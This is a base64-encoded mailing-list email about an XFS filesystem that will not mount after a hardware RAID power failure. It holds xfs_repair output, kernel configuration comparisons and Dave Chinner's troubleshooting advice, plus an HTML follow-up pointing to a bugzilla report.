NzUyDQpiYWQgbmJsb2NrcyAzMDg1IGZvciBpbm9kZSAxNjk5NzM0NCwgd291bGQgcmVzZXQgdG8g MzA5MQ0KZGF0YSBmb3JrIGluIGlubyAxNzAwMDY0MCBjbGFpbXMgZnJlZSBibG9jayAxMDc2MjU0 NzQ4DQpiYWQgbmJsb2NrcyAzOTAgZm9yIGlub2RlIDE3MDAwNjQwLCB3b3VsZCByZXNldCB0byA0 MDENCmRhdGEgZm9yayBpbiBpbm8gMTcwMDQ4MjQgY2xhaW1zIGZyZWUgYmxvY2sgOTI5Mjg3OQ0K ZGF0YSBmb3JrIGluIGlubyAxNzAwNDgyNCBjbGFpbXMgZnJlZSBibG9jayA5MjkyODgwDQpiYWQg bmJsb2NrcyAxMzQ1IGZvciBpbm9kZSAxNzAwNDgyNCwgd291bGQgcmVzZXQgdG8gMTM0Ng0KYmFk IG5ibG9ja3MgMjEgZm9yIGlub2RlIDE3MDA1NjIxLCB3b3VsZCByZXNldCB0byAzMw0KZGF0YSBm b3JrIGluIGlubyAxNzAwNTk5NSBjbGFpbXMgZnJlZSBibG9jayA1MzY1MzY3DQpkYXRhIGZvcmsg aW4gaW5vIDE3MDA1OTk1IGNsYWltcyBmcmVlIGJsb2NrIDUzNjUzNjgNCmRhdGEgZm9yayBpbiBp bm8gMTcwMTg2OTYgY2xhaW1zIGZyZWUgYmxvY2sgOTMxNjI3OA0KZGF0YSBmb3JrIGluIGlubyAx NzAxODY5NiBjbGFpbXMgZnJlZSBibG9jayA5MzE2Mjc5DQpkYXRhIGZvcmsgaW4gaW5vIDE3MDE5 MTExIGNsYWltcyBmcmVlIGJsb2NrIDkzMTE0MDMNCmRhdGEgZm9yayBpbiBpbm8gMTcwMTkxMTEg Y2xhaW1zIGZyZWUgYmxvY2sgOTMxMTQwNA0KYmFkIG5ibG9ja3MgMjMyMCBmb3IgaW5vZGUgMTcw MTkxMTEsIHdvdWxkIHJlc2V0IHRvIDIzMjMNCiAgICAgICAtIGFnbm8gPSAxDQogICAgICAgLSBh Z25vID0gMg0KICAgICAgIC0gYWdubyA9IDMNCiAgICAgICAtIGFnbm8gPSA0DQogICAgICAgLSBh Z25vID0gNQ0KICAgICAgIC0gYWdubyA9IDYNCiAgICAgICAtIHByb2Nlc3MgbmV3bHkgZGlzY292 ZXJlZCBpbm9kZXMuLi4NClBoYXNlIDQgLSBjaGVjayBmb3IgZHVwbGljYXRlIGJsb2Nrcy4uLg0K ICAgICAgIC0gc2V0dGluZyB1cCBkdXBsaWNhdGUgZXh0ZW50IGxpc3QuLi4NCiAgICAgICAtIGNo ZWNrIGZvciBpbm9kZXMgY2xhaW1pbmcgZHVwbGljYXRlIGJsb2Nrcy4uLg0KICAgICAgIC0gYWdu byA9IDANCiAgICAgICAtIGFnbm8gPSAzDQogICAgICAgLSBhZ25vID0gMg0KICAgICAgIC0gYWdu byA9IDQNCiAgICAgICAtIGFnbm8gPSA1DQogICAgICAgLSBhZ25vID0gMQ0KICAgICAgIC0gYWdu byA9IDYNCmVudHJ5ICIxMC42LjExNC4xNDgiIGF0IGJsb2NrIDI5NyBvZmZzZXQgNDk2IGluIGRp cmVjdG9yeSBpbm9kZSAxOTEyNQ0KcmVmZXJlbmNlcyBmcmVlIGlub2RlIDE2OTI3NzIxDQogICAg ICAgd291bGQgY2xlYXIgaW5vZGUgbnVtYmVyIGluIGVudHJ5IGF0IG9mZnNldCA0OTYuLi4NCmJh ZCBuYmxvY2tzIDI1NiBmb3IgaW5vZGUgMTY3NjQ2NjgsIHdvdWxkIHJlc2V0IHRvIDI1NQ0KYmFk IG5ibG9ja3MgNTMwIGZvciBpbm9kZSAxNjc2Nzg4Miwgd291bGQgcmVzZXQgdG8gNTQ1DQpiYWQg bmJsb2NrcyAyMzk2IGZvciBpbm9kZSAxNjc3MjU5Niwgd291bGQgcmVzZXQgdG8gMjM5NQ0KYmFk IG5ibG9ja3MgNjI4NCBmb3IgaW5vZGUgMTY3NzU2MTksIHdvdWxkIHJlc2V0IHRvIDYyOTENCmJh ZCBuYmxvY2tzIDEwMyBmb3IgaW5vZGUgMTY3ODA0OTgsIHdvdWxkIHJlc2V0IHRvIDEwMg0KYmFk IG5leHRlbnRzIDI3IGZvciBpbm9kZSAxNjc4MDQ5OCwgd291bGQgcmVzZXQgdG8gMjYNCmJhZCBu YmxvY2tzIDc2IGZvciBpbm9kZSAxNjc4MTk1OSwgd291bGQgcmVzZXQgdG8gODENCmJhZCBrZXkg aW4gYm1idCByb290IChpcyAxODU2LCB3b3VsZCByZXNldCB0byAxODQ0KSBpbiBpbm9kZSAxNjc4 MjA3MCBkYXRhDQpmb3JrDQpiYWQgbmJsb2NrcyAzMDYwIGZvciBpbm9kZSAxNjc4MjA3MCwgd291 bGQgcmVzZXQgdG8gMzA1OQ0KYmFkIG5leHRlbnRzIDY0MiBmb3IgaW5vZGUgMTY3ODIwNzAsIHdv dWxkIHJlc2V0IHRvIDY0MQ0KYmFkIG5ibG9ja3MgMzAyOSBmb3IgaW5vZGUgMTY3ODM0MDMsIHdv dWxkIHJlc2V0IHRvIDMwNDMNCmJhZCBuYmxvY2tzIDkyNyBmb3IgaW5vZGUgMTY3ODM0OTMsIHdv dWxkIHJlc2V0IHRvIDkyNg0KYmFkIG5ibG9ja3MgOTc3IGZvciBpbm9kZSAxNjc4MzU1Mywgd291 bGQgcmVzZXQgdG8gOTcxDQpiYWQgbmJsb2NrcyA2MCBmb3IgaW5vZGUgMTY3ODYzOTYsIHdvdWxk IHJlc2V0IHRvIDY1DQpiYWQgbmJsb2NrcyA3MTkgZm9yIGlub2RlIDE2Nzg2NDE2LCB3b3VsZCBy ZXNldCB0byA3MjENCmJhZCBuYmxvY2tzIDU2IGZvciBpbm9kZSAxNjc4NjgwMywgd291bGQgcmVz ZXQgdG8gNjUNCmJhZCBuYmxvY2tzIDUzNiBmb3IgaW5vZGUgMTY3ODcwMTAsIHdvdWxkIHJlc2V0 IHRvIDUzNQ0KYmFkIG5ibG9ja3MgMzAxIGZvciBpbm9kZSAxNjc5MjAyNiwgd291bGQgcmVzZXQg dG8gMzA1DQpiYWQgbmJsb2NrcyAzMDU5IGZvciBpbm9kZSAxNjc5MjA1Nywgd291bGQgcmVzZXQg dG8gMzA0NQ0KYmFkIG5leHRlbnRzIDU4MCBmb3IgaW5vZGUgMTY3OTIwNTcsIHdvdWxkIHJlc2V0 IHRvIDU3OQ0KYmFkIG5ibG9ja3MgODggZm9yIGlub2RlIDE2NzkyODI3LCB3b3VsZCByZXNldCB0 byA5Nw0KYmFkIG5ibG9ja3MgMTExNSBmb3IgaW5vZGUgMTY3OTczMDksIHdvdWxkIHJlc2V0IHRv IDExMjENCmJhZCBuYmxvY2tzIDMwNzIgZm9yIGlub2RlIDE2ODA1MjM1LCB3b3VsZCByZXNldCB0 byAzMDcxDQpiYWQgbmJsb2NrcyAzMDQ4IGZvciBpbm9kZSAxNjgwNjI0Miwgd291bGQgcmVzZXQg dG8gMzA1OA0KYmFkIG5ibG9ja3MgMTM1NSBmb3IgaW5vZGUgMTY4MDk4NDAsIHdvdWxkIHJlc2V0 IHRvIDEzNTQNCmJhZCBuYmxvY2tzIDI0NjcgZm9yIGlub2RlIDE2ODEyNjk3LCB3b3VsZCByZXNl dCB0byAyNDY2DQpiYWQgbmJsb2NrcyA3NjcgZm9yIGlub2RlIDE2ODI0MjY5LCB3b3VsZCByZXNl dCB0byA3NjkNCmJhZCBuYmxvY2tzIDI3NSBmb3IgaW5vZGUgMTY4MjYxMjAsIHdvdWxkIHJlc2V0 IHRvIDI3NA0KYmFkIG5leHRlbnRzIDk1IGZvciBpbm9kZSAxNjgyNjEyMCwgd291bGQgcmVzZXQg dG8gOTQNCmJhZCBuYmxvY2tzIDMwNjkgZm9yIGlub2RlIDE2ODI4NDcwLCB3b3VsZCByZXNldCB0 byAzMDc1DQpiYWQgbmJsb2NrcyAxOTMgZm9yIGlub2RlIDE2ODI4NzY3LCB3b3VsZCByZXNldCB0 byAxODQNCmJhZCBuYmxvY2tzIDgxOCBmb3IgaW5vZGUgMTY4MjkxOTIsIHdvdWxkIHJlc2V0IHRv IDgzMw0KYmFkIG5ibG9ja3MgOTcgZm9yIGlub2RlIDE2ODMzNjU4LCB3b3VsZCByZXNldCB0byA5 MQ0KYmFkIG5ibG9ja3MgNDggZm9yIGlub2RlIDE2ODM2MDIwLCB3b3VsZCByZXNldCB0byA0OQ0K YmFkIG5ibG9ja3MgMTIzNyBmb3IgaW5vZGUgMTY4Mzc2MTUsIHdvdWxkIHJlc2V0IHRvIDEyNDkN CmJhZCBuYmxvY2tzIDYyMiBmb3IgaW5vZGUgMTY4NDM4NTUsIHdvdWxkIHJlc2V0IHRvIDYyMQ0K YmFkIG5ibG9ja3MgODExIGZvciBpbm9kZSAxNjg1MTA0Niwgd291bGQgcmVzZXQgdG8gODE3DQpi YWQgbmJsb2NrcyA5NCBmb3IgaW5vZGUgMTY4NTI5NTIsIHdvdWxkIHJlc2V0IHRvIDkzDQpiYWQg bmJsb2NrcyA2NDkgZm9yIGlub2RlIDE2ODU4OTE5LCB3b3VsZCByZXNldCB0byA2NTcNCmJhZCBu YmxvY2tzIDEyMSBmb3IgaW5vZGUgMTY4NjE3ODAsIHdvdWxkIHJlc2V0IHRvIDEyMA0KYmFkIG5i bG9ja3MgOTU4NSBmb3IgaW5vZGUgMTY4NjMwOTUsIHdvdWxkIHJlc2V0IHRvIDk0NTcNCmJhZCBu ZXh0ZW50cyAyMzUgZm9yIGlub2RlIDE2ODYzMDk1LCB3b3VsZCByZXNldCB0byAyMzQNCmJhZCBu YmxvY2tzIDQzMyBmb3IgaW5vZGUgMTY4Njg2OTEsIHdvdWxkIHJlc2V0IHRvIDQyMw0KYmFkIG5l eHRlbnRzIDIwNiBmb3IgaW5vZGUgMTY4Njg2OTEsIHdvdWxkIHJlc2V0IHRvIDIwNQ0KYmFkIG5i bG9ja3MgMjcyMSBmb3IgaW5vZGUgMTY4NzA4MDEsIHdvdWxkIHJlc2V0IHRvIDI3MjANCmJhZCBu YmxvY2tzIDEwMjUgZm9yIGlub2RlIDE2ODcwOTAwLCB3b3VsZCByZXNldCB0byAxMDE1DQpiYWQg bmJsb2NrcyAyMzcxIGZvciBpbm9kZSAxNjg3MTMxMSwgd291bGQgcmVzZXQgdG8gMjQwMg0KYmFk IG5ibG9ja3MgNTQ3IGZvciBpbm9kZSAxNjg3Mzk5Mywgd291bGQgcmVzZXQgdG8gNTYxDQpiYWQg bmJsb2NrcyAzMDcxIGZvciBpbm9kZSAxNjg3NjQ0MSwgd291bGQgcmVzZXQgdG8gMzA3Mw0KYmFk IG5ibG9ja3MgMjcgZm9yIGlub2RlIDE2ODc2NTgyLCB3b3VsZCByZXNldCB0byAyNg0KYmFkIG5i bG9ja3MgMzIgZm9yIGlub2RlIDE2ODg5MzU0LCB3b3VsZCByZXNldCB0byAzMw0KYmFkIG5ibG9j a3MgNjgyIGZvciBpbm9kZSAxNjg5NjE3MSwgd291bGQgcmVzZXQgdG8gNjg5DQpiYWQgbmJsb2Nr cyAxNjE3IGZvciBpbm9kZSAxNjg5Njc5Miwgd291bGQgcmVzZXQgdG8gMTYxOA0KYmFkIG5ibG9j a3MgMjQ0IGZvciBpbm9kZSAxNjkwNjM3MCwgd291bGQgcmVzZXQgdG8gMjU3DQpiYWQgbmJsb2Nr cyAyNDE3IGZvciBpbm9kZSAxNjkxMTM2OCwgd291bGQgcmVzZXQgdG8gMjQxNg0KYmFkIG5ibG9j a3MgOTUwIGZvciBpbm9kZSAxNjkxMjY4Miwgd291bGQgcmVzZXQgdG8gOTQ5DQpiYWQgbmJsb2Nr cyAyMzUwIGZvciBpbm9kZSAxNjkyMzA3Miwgd291bGQgcmVzZXQgdG8gMjM1NA0KYmFkIG5ibG9j a3MgMTAxNiBmb3IgaW5vZGUgMTY5MjM1NDksIHdvdWxkIHJlc2V0IHRvIDEwMjUNCmJhZCBtYWdp YyAjIDB4MjAzMTMwMzAgaW4gaW5vZGUgMTY5Mjc3MjEgKGRhdGEgZm9yaykgYm1idCBibG9jayA5 MzA1NTM0DQpiYWQgZGF0YSBmb3JrIGluIGlub2RlIDE2OTI3NzIxDQp3b3VsZCBoYXZlIGNsZWFy ZWQgaW5vZGUgMTY5Mjc3MjENCmJhZCBuYmxvY2tzIDI0MSBmb3IgaW5vZGUgMTY5MzgzNjMsIHdv dWxkIHJlc2V0IHRvIDI0MA0KYmFkIG5ibG9ja3MgMjg5IGZvciBpbm9kZSAxNjk0MDQwMCwgd291 bGQgcmVzZXQgdG8gMjU3DQpiYWQgbmV4dGVudHMgMzIgZm9yIGlub2RlIDE2OTQwNDAwLCB3b3Vs ZCByZXNldCB0byAzMQ0KYmFkIG5ibG9ja3MgMTA2IGZvciBpbm9kZSAxNjk0MjEyMiwgd291bGQg cmVzZXQgdG8gMTEzDQpiYWQgbmJsb2NrcyAxMDUzIGZvciBpbm9kZSAxNjk0NjQwNSwgd291bGQg cmVzZXQgdG8gMTA1Nw0KYmFkIG5ibG9ja3MgNjgxIGZvciBpbm9kZSAxNjk0ODc3Niwgd291bGQg cmVzZXQgdG8gNjg5DQpiYWQgbmJsb2NrcyA1NjIgZm9yIGlub2RlIDE2OTQ5MDExLCB3b3VsZCBy ZXNldCB0byA1NjENCmJhZCBuZXh0ZW50cyAyMDAgZm9yIGlub2RlIDE2OTQ5MDExLCB3b3VsZCBy ZXNldCB0byAxOTkNCmJhZCBuYmxvY2tzIDE0MiBmb3IgaW5vZGUgMTY5NTcyOTYsIHdvdWxkIHJl c2V0IHRvIDE0NQ0KYmFkIG5ibG9ja3MgNTEgZm9yIGlub2RlIDE2OTYwMzYyLCB3b3VsZCByZXNl dCB0byA2NQ0KYmFkIG5ibG9ja3MgODk4IGZvciBpbm9kZSAxNjk2NzA3Miwgd291bGQgcmVzZXQg dG8gOTEzDQpiYWQgbmJsb2NrcyAzNTQgZm9yIGlub2RlIDE2OTcyNTEzLCB3b3VsZCByZXNldCB0 byAzNjkNCmJhZCBuYmxvY2tzIDUwOCBmb3IgaW5vZGUgMTY5ODEwMjMsIHdvdWxkIHJlc2V0IHRv IDUxMw0KYmFkIG5ibG9ja3MgMjE2IGZvciBpbm9kZSAxNjk4MzI3MSwgd291bGQgcmVzZXQgdG8g MjI1DQpiYWQgbmJsb2NrcyA4MyBmb3IgaW5vZGUgMTY5ODMyODAsIHdvdWxkIHJlc2V0IHRvIDk3 DQpiYWQgbmJsb2NrcyA0MjIgZm9yIGlub2RlIDE2OTg3MDQ5LCB3b3VsZCByZXNldCB0byA0MzMN CmJhZCBuYmxvY2tzIDEwNTYgZm9yIGlub2RlIDE2OTkwMzA2LCB3b3VsZCByZXNldCB0byAxMDU4 DQpiYWQgbmJsb2NrcyAxODAgZm9yIGlub2RlIDE2OTkyNjg3LCB3b3VsZCByZXNldCB0byAxOTMN CmJhZCBuYmxvY2tzIDM5IGZvciBpbm9kZSAxNjk5NTIzOSwgd291bGQgcmVzZXQgdG8gNDkNCmJh ZCBuYmxvY2tzIDMwODUgZm9yIGlub2RlIDE2OTk3MzQ0LCB3b3VsZCByZXNldCB0byAzMDkxDQpi YWQgbmJsb2NrcyAzOTAgZm9yIGlub2RlIDE3MDAwNjQwLCB3b3VsZCByZXNldCB0byA0MDENCmJh ZCBuYmxvY2tzIDEzNDUgZm9yIGlub2RlIDE3MDA0ODI0LCB3b3VsZCByZXNldCB0byAxMzQ2DQpi YWQgbmJsb2NrcyAyMSBmb3IgaW5vZGUgMTcwMDU2MjEsIHdvdWxkIHJlc2V0IHRvIDMzDQpiYWQg bmJsb2NrcyAyMzIwIGZvciBpbm9kZSAxNzAxOTExMSwgd291bGQgcmVzZXQgdG8gMjMyMw0KTm8g bW9kaWZ5IGZsYWcgc2V0LCBza2lwcGluZyBwaGFzZSA1DQpQaGFzZSA2IC0gY2hlY2sgaW5vZGUg Y29ubmVjdGl2aXR5Li4uDQogICAgICAgLSB0cmF2ZXJzaW5nIGZpbGVzeXN0ZW0gLi4uDQplbnRy eSAiMTAuNi4xMTQuMTQ4IiBpbiBkaXJlY3RvcnkgaW5vZGUgMTkxMjUgcG9pbnRzIHRvIGZyZWUg aW5vZGUgMTY5Mjc3MjENCiwgd291bGQganVuayBlbnRyeQ0KICAgICAgIC0gdHJhdmVyc2FsIGZp bmlzaGVkIC4uLg0KICAgICAgIC0gbW92aW5nIGRpc2Nvbm5lY3RlZCBpbm9kZXMgdG8gbG9zdCtm b3VuZCAuLi4NClBoYXNlIDcgLSB2ZXJpZnkgbGluayBjb3VudHMuLi4NCk5vIG1vZGlmeSBmbGFn IHNldCwgc2tpcHBpbmcgZmlsZXN5c3RlbSBmbHVzaCBhbmQgZXhpdGluZy4NCg0KeGZzcHJvZ3Mg dXRpbD9zIHdvcmtzIGZpbmUgd2l0aCBrZXJuZWwgMy43LjEwIChjb25maWcga2VybmVsIHBhcmFt cyBsaXN0DQpiZWxvdyk6DQovdXNyL3NyYy9saW51eC0zLjcuMTAtZ2VudG9vLy5jb25maWcNCkNP TkZJR19YRlNfRlM9eQ0KQ09ORklHX1hGU19RVU9UQT15DQpDT05GSUdfWEZTX1BPU0lYX0FDTD15 DQpDT05GSUdfWEZTX1JUPXkNCiMgQ09ORklHX1hGU19ERUJVRyBpcyBub3Qgc2V0DQoNCnhmc3By b2dzIHV0aWw/cyBoYW5ncyBpbiBzdGFydCB3aXRoIGtlcm5lbCAzLjEwLjI1IChjb25maWcga2Vy bmVsIHBhcmFtcw0KbGlzdCBiZWxvdyk6DQovdXNyL3NyYy9saW51eC0zLjEwLjI1LWdlbnRvby8u Y29uZmlnDQpDT05GSUdfWEZTX0ZTPXkNCkNPTkZJR19YRlNfUVVPVEE9eQ0KQ09ORklHX1hGU19Q T1NJWF9BQ0w9eQ0KQ09ORklHX1hGU19SVD15DQpDT05GSUdfWEZTX0RFQlVHPXkNCg0KT3V0cHV0 IG9mIGxvZyBwcmludCBjb21tYW5kIEk/YW0gdXBsb2FkIGluIHdlYi1zaXRlOg0KeGZzX2xvZ3By aW50IC1kIC1DIC4veGZzX2xvZy5kdW1wDQpodHRwOi8veWFkaS5zay9kL0p4di1JdFJTR3Q4dk4N Cg0KDQoNCg0KDQoNCjI4LjAxLjIwMTQsINcgODo0NiwgIkRtaXRyaXkgWXUgTGVvbm92IiA8RExl b25vdkBiZWVsaW5lLnJ1PiDOwdDJ08HMKMEpOg0KDQogICAgICBHb29kIG1vcm5pbmcsIERhdmUu DQoNCiAgICAgIFRoYW5rIHlvdSBmb3IgeW91ciByZXNwb25zZSB0byBteSBtZXNzYWdlLg0KDQog ICAgICBROiBTbyBzb21ldGhpbmcgd2VudCB3cm9uZyB3aXRoIHRoZSBIVyBSQUlELCBhbmQgdGhl biB5b3UgZm91bmQNCiAgICAgIGVycm9ycyBpbiB0aGUgZmlsZXN5c3RlbT8NCiAgICAgIEE6IFll cy4gUHJlc3VtYWJseSBvbiB0aGUgc2VydmVyIHdlcmUgcHJvYmxlbXMgd2l0aCB0aGUgcG93ZXIg c3VwcGx5Lg0KICAgICAgSW4gdGhlIEhXIFJBSUQgYmF0dGVyeSBiYWNrdXAgaW5zdGFsbGVkLiBC dXQgd2hlbiB0aGUgc2VydmVyIHR1cm4NCiAgICAgIG9mZi9vbiBlcnJvcnMgb2NjdXJyZWQgdGhh dCBsZWQgdG8gdGhlIGN1cnJlbnQgc2l0dWF0aW9uLiBUaGUgY3VycmVudA0KICAgICAgc3RhdHVz IG9mIHRoZSBIVyBSQUlELWNvbnRyb2xsZXIgc3RhYmxlLiB0aGVyZSBhcmUgbm8gZXJyb3JzLg0K DQogICAgICBROiBJdCBmYWlsZWQgdG8gbW91bnQgd2l0aCB0aGUgc3RhY2sgdHJhY2UgdGhhdCB5 b3UgYXR0YWNoZWQ/IElmIHNvLA0KICAgICAgdGhlcmUncyBhIGNvcnJ1cHQgZnJlZXNwYWNlIHRy ZWUgaW4gdGhlIGZpbGVzeXN0ZW0uDQogICAgICBBOiBZZXMuIFRoZSBhdHRhY2hlZCBzdGFjayB0 cmFjZSBpcyByZWNlaXZlZCBhZnRlciB0aGUgaW5jaWRlbnQuIEkNCiAgICAgIHdhdGNoZWQgdGhl IHNvdXJjZSBjb2RlIGZpbGUgdGhhdCBpcyByZWZlcmVuY2VkIHRyYWNlLCBidXQsDQogICAgICB1 bmZvcnR1bmF0ZWx5LCBjb3VsZCBub3QgZmlndXJlIG91dCBob3cgdG8gZml4IHRoZSBwcm9ibGVt LiBJcyB0aGVyZQ0KICAgICAgYSBwb3NzaWJpbGl0eSB0byBmaXggdGhlIHByb2JsZW0gd2l0aCBh IGNvcnJ1cHQgZnJlZXNwYWNlIHRyZWUgaW4gdGhlDQogICAgICBmaWxlc3lzdGVtPw0KDQogICAg ICBROiBGaXJzdCBvZiBhbGwsIEknZCBzdWdnZXN0IHVwZGF0aW5nIHRvIGF0IGxlYXN0IHZlcnNp b24gMy4xLjExIG9mDQogICAgICB4ZnNwcm9ncy4gSWYgaXQgc3RpbGwgaGFuZ3MsIHRoZW4gaXQn cyBxdWl0ZSBsaWtlbHkgdGhlcmUgc29tZXRoaW5nDQogICAgICBzdGlsbCB3cm9uZyB3aXRoIHlv dXIgSFcgUkFJRC4gWW91ciBmaXJzdCBzdGVwIGlzIHRvIG1ha2Ugc3VyZSB5b3VyDQogICAgICBI VyBSQUlEIGlzIGhlYWx0aHkgYmVmb3JlIHRyeWluZyB0byByZXBhaXIgb3IgbW91bnQgdGhlDQog ICAgICBmaWxlc3lzdGVtLi4uLg0KICAgICAgQTogSSB3aWxsIHRyeSB0byBmb2xsb3cgWW91ciBy ZWNvbW1lbmRhdGlvbnMuIFNlcnZlciBpcyBydW5uaW5nIG9uIGENCiAgICAgIEdlbnRvbyBzeXN0 ZW0uIEN1cnJlbnQgc3RhYmxlIHZlcnNpb24gb2YgeGZzcHJvZ3MgaW4gZ2VudG9vIHBvcnRhZ2UN CiAgICAgIGlzIDMuMS4xMCwgMy4xLjExLXIxIGlzIHVuc3RhYmxlLiBCdXQgSSB3aWxsIGluc3Rh bGwgdGhlIGxhc3QgdG8NCiAgICAgIGNoZWNrLiBBY2NvcmRpbmcgdG8gdGhlIHJlc3VsdHMgb2Yg d3JpdGUuIEFsc28gSSdtIGF0dGFjaCB0byB0aGUNCiAgICAgIG1lc3NhZ2UgZmlsZSB3aXRoIGEg ZGlhZ25vc2lzIEhXIFJBSUQgY29udHJvbGxlci4gVGhlIGN1cnJlbnQgc3RhdHVzDQogICAgICBv ZiB0aGUgY29udHJvbGxlciBpcyBzdGFibGUuDQoNCiAgICAgIEkgaG9wZSBmb3IgWW91ciBoZWxw IGluIHNvbHZpbmcgdGhlIHByb2JsZW0uDQoNCiAgICAgIC0tDQogICAgICAgIERtaXRyeSBMZW9u b3YuDQoNCiAgICAgIChTZWUgYXR0YWNoZWQgZmlsZTogUmVwb3J0X1JBSURfc3RhdHVzXzIwMTQw MTI4LnR4dCkNCg0KICAgICAgRGF2ZSBDaGlubmVyIC0tLTI4LjAxLjIwMTQgMDM6MTQ6MTctLS1P biBNb24sIEphbiAyNywgMjAxNCBhdA0KICAgICAgMTE6MTI6MTVBTSArMDQwMCwgRG1pdHJpeSBZ dSBMZW9ub3Ygd3JvdGU6ID4NCg0KDQogICAgICDv1DogRGF2ZSBDaGlubmVyIDxkYXZpZEBmcm9t b3JiaXQuY29tPg0KICAgICAg68/N1TogRG1pdHJpeSBZdSBMZW9ub3YgPERMZW9ub3ZAYmVlbGlu ZS5ydT4sDQogICAgICDrz9DJ0TogeGZzQG9zcy5zZ2kuY29tDQogICAgICDkwdTBOiAyOC4wMS4y MDE0IDAzOjE0DQogICAgICD0xc3BOiBSZTogWEZTOiBBc3NlcnRpb24gZmFpbGVkOiBmc19pc19v aywgZmlsZTogZnMveGZzL3hmc19hbGxvYy5jLA0KICAgICAgbGluZTogMTU5MA0KDQoNCg0KICAg ICAgT24gTW9uLCBKYW4gMjcsIDIwMTQgYXQgMTE6MTI6MTVBTSArMDQwMCwgRG1pdHJpeSBZdSBM ZW9ub3Ygd3JvdGU6DQogICAgICA+DQogICAgICA+IEhlbGxvLCBkZWFyIGRldmVsb3BlcnMNCiAg ICAgID4NCiAgICAgID4gRmFjZWQgIHdpdGggIHRoZSAgcHJvYmxlbSBvZiB1c2luZyBYRlMuIEkn bSB1c2UgdGhlIFhGUyBmaWxlIHN5c3RlbQ0KICAgICAgb24NCiAgICAgID4gdGhlICBzZXJ2ZXIg d2l0aG91dCBwcm9ibGVtcyB0aHJlZSB5ZWFycy4gUmVjZW50bHkgZGlzY292ZXJlZCB0aGF0DQog ICAgICB0aGUNCiAgICAgID4gZGlzayAocmFpZC1hcnJheSkgd2l0aCBYRlMgaXMgbm90IGF2YWls YWJsZS4NCiAgICAgID4NCiAgICAgID4gVGhlIGxvZ3MgcmFpZCBjb250cm9sbGVyIGFwcGVhcmVk OiAyMDE0LTAxLTI0IDA3OjEyOjM0IEgvVyBNb25pdG9yDQogICAgICBSYWlkDQogICAgICA+IFBv d2VyZWQgT24NCg0KICAgICAgU28gc29tZXRoaW5nIHdlbnQgd3Jvbmcgd2l0aCB0aGUgSFcgUkFJ RCwgYW5kIHRoZW4geW91IGZvdW5kIGVycm9ycw0KICAgICAgaW4gdGhlIGZpbGVzeXN0ZW0/DQoN CiAgICAgID4gV2hlbiBJIHJlc3RhcnQgdGhlIHNlcnZlciwgSSBmb3VuZCB0aGF0IHRoZSByYWlk IGFycmF5IGlzIG5vdCBtb3VudA0KICAgICAgb24NCiAgICAgID4gdGhlIG1vdW50IHBvaW50IC9k ZXYvc2RiMSAoZmlsZXN5c3RlbSBYRlMpLg0KDQogICAgICBJdCBmYWlsZWQgdG8gbW91bnQgd2l0 aCB0aGUgc3RhY2sgdHJhY2UgdGhhdCB5b3UgYXR0YWNoZWQ/IElmIHNvLA0KICAgICAgdGhlcmUn cyBhIGNvcnJ1cHQgZnJlZXNwYWNlIHRyZWUgaW4gdGhlIGZpbGVzeXN0ZW0uDQoNCiAgICAgID4g V2hlbiAgSSAgcnVuICB0aGUgdXRpbGl0eSB4ZnNfcmVwYWlyIC1QIC9kZXYvc2RiMSBpdCBoYW5n cy4gV2hlbiBJDQogICAgICBydW4NCiAgICAgID4gbW91bnQgIC9kZXYvc2RiMSAgbm90ICBpc3N1 ZWQgIGFueSAgZXJyb3JzIGFuZCBhcHBsaWNhdGlvbiBhbHNvDQogICAgICBoYW5ncy4NCiAgICAg ID4gVGFzaydzIGNhbm5vdCBmaW5pc2ggZXZlbiB0aGUgY29tbWFuZCBraWxsIC05IDxwaWQ+Lg0K DQogICAgICBGaXJzdCBvZiBhbGwsIEknZCBzdWdnZXN0IHVwZGF0aW5nIHRvIGF0IGxlYXN0IHZl cnNpb24gMy4xLjExIG9mDQogICAgICB4ZnNwcm9ncy4gSWYgaXQgc3RpbGwgaGFuZ3MsIHRoZW4g aXQncyBxdWl0ZSBsaWtlbHkgdGhlcmUgc29tZXRoaW5nDQogICAgICBzdGlsbCB3cm9uZyB3aXRo IHlvdXIgSFcgUkFJRC4NCg0KICAgICAgWW91ciBmaXJzdCBzdGVwIGlzIHRvIG1ha2Ugc3VyZSB5 b3VyIEhXIFJBSUQgaXMgaGVhbHRoeSBiZWZvcmUNCiAgICAgIHRyeWluZyB0byByZXBhaXIgb3Ig bW91bnQgdGhlIGZpbGVzeXN0ZW0uLi4uDQoNCiAgICAgIENoZWVycywNCg0KICAgICAgRGF2ZS4N CiAgICAgIC0tDQogICAgICBEYXZlIENoaW5uZXINCiAgICAgIGRhdmlkQGZyb21vcmJpdC5jb20N CiAgICAgIDxSZXBvcnRfUkFJRF9zdGF0dXNfMjAxNDAxMjgudHh0Pg== --0__=CBBBF6E3DF8519DE8f9e8a93df938690918cCBBBF6E3DF8519DE Content-type: text/html; charset=KOI8-R Content-Disposition: inline Content-transfer-encoding: base64 PGh0bWw+PGJvZHk+DQo8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+R29vZCBtb25pbmcs IGRlYXIgZGV2ZWxvcGVycy48L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPklzIHRoZXJlIGFueSBjb25jbHVzaW9uIG9uIHRoZSBzdWJtaXR0ZWQgaW5mb3JtYXRp b24/IENhbiBZb3UgaGVscCB3aXRoIGEgc29sdXRpb24gdG8gbXkgcHJvYmxlbT88L2ZvbnQ+PGJy Pg0KPGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPlBTLiBJJ20gcmVnaXN0ZXJlZCBw cm9ibGVtIGFsc28gaW4gWEZTIGJ1Z3ppbGxhOiA8L2ZvbnQ+PGZvbnQgc2l6ZT0iMyIgZmFjZT0i c2VyaWYiPjxhIGhyZWY9Imh0dHA6Ly9vc3Muc2dpLmNvbS9idWd6aWxsYS9zaG93X2J1Zy5jZ2k/ aWQ9MTA0NSI+aHR0cDovL29zcy5zZ2kuY29tL2J1Z3ppbGxhL3Nob3dfYnVnLmNnaT9pZD0xMDQ1 PC9hPjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIyIiBmYWNlPSJzYW5zLXNlcmlmIj48YnI+DQo8 L2ZvbnQ+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiYjODIxMjs8L2ZvbnQ+PGJyPg0KPGZv bnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwOyBTaW5jZXJlbHksIERtaXRyeS48L2ZvbnQ+ 